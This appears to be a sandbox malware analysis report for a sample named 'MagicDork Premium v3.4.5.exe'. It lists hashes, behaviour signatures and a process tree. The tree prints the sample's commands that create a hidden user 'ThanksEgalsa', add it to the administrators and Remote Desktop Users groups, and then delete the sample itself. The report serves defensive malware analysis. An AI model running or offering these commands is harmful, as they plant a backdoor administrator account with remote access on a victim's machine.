Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    04-12-2024 13:06

General

  • Target

    MagicDork Premium v3.4.5.exe

  • Size

    8KB

  • MD5

    bc4bc3abc2a6c7008ba586394e653f6a

  • SHA1

    a213a27ad4d756506e7a8b581ee6686031c70610

  • SHA256

    90df211fe009f950d2f0a903bf2a2e609788b2d9d5183a28aab02c528ee8d505

  • SHA512

    e52a45671658725444e3b6cb72547f942b831274980f239f8e6a7899dd9506538ccd3616532f1492a94c1f47a2c09fd9f88480f615da61039fa604223f280b8d

  • SSDEEP

    96:yp+bNXPhviNjOi4cBmdjS+d579i9bm605/ltk+Vdc0M1ks5OaczNtK:ykZXRikFdm+f96bmzZNdfMOs1m

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 1 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

  • Deletes itself 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\MagicDork Premium v3.4.5.exe
    "C:\Users\Admin\AppData\Local\Temp\MagicDork Premium v3.4.5.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies system certificate store
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2340
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" net user ThanksEgalsa ThanksEgalsa /add
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2244
      • C:\Windows\SysWOW64\net.exe
        "C:\Windows\system32\net.exe" user ThanksEgalsa ThanksEgalsa /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2628
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user ThanksEgalsa ThanksEgalsa /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2212
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" net localgroup administrators ThanksEgalsa /add
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2684
      • C:\Windows\SysWOW64\net.exe
        "C:\Windows\system32\net.exe" localgroup administrators ThanksEgalsa /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2772
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup administrators ThanksEgalsa /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2804
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" net localgroup "Remote Desktop Users" ThanksEgalsa /add
      2⤵
      • Remote Service Session Hijacking: RDP Hijacking
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2700
      • C:\Windows\SysWOW64\net.exe
        "C:\Windows\system32\net.exe" localgroup Remote Desktop Users ThanksEgalsa /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2348
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup Remote Desktop Users ThanksEgalsa /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2988
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpFE2D.tmp.cmd""
      2⤵
      • Deletes itself
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:704
      • C:\Windows\SysWOW64\timeout.exe
        timeout 4
        3⤵
        • System Location Discovery: System Language Discovery
        • Delays execution with timeout.exe
        PID:2016

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\tmpFE2D.tmp.cmd

    Filesize

    170B

    MD5

    4a61eb7afee042d149cb104a9efc50e3

    SHA1

    703485efb44429a000c44ea51d61c0e32bdfd428

    SHA256

    b6431c72c3ba01e28579ad991b3afdfd13ce3492645c5d0a66017103d21172be

    SHA512

    f2ef8908d8a5af839e31b21ab07d0b9ee8fad22d38ecd8a2db25d92eab4074967e2f7ab04ff20b47b3e159315338747b413904c63b8d74cebb256bfb5ccea067

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    14cf5559c0d9890cba61e1de08baf991

    SHA1

    eaebb510a1ef9ba06f30b6d2dda9398ac9edd532

    SHA256

    f724c000fd14622ed3d7036f54de5168c695a11d9dca5b3aee588c9c29e97d4f

    SHA512

    91b5665d8d197977bb0979ce9e8614fec279b889221e7ed14bf0124d88ee85a16bc72104854cd8d784f25e49f42483924d91e7deb220fbd2c708b6168b91d357

  • memory/2244-4-0x0000000002D10000-0x0000000002D50000-memory.dmp

    Filesize

    256KB

  • memory/2340-0-0x000000007467E000-0x000000007467F000-memory.dmp

    Filesize

    4KB

  • memory/2340-1-0x0000000001120000-0x0000000001128000-memory.dmp

    Filesize

    32KB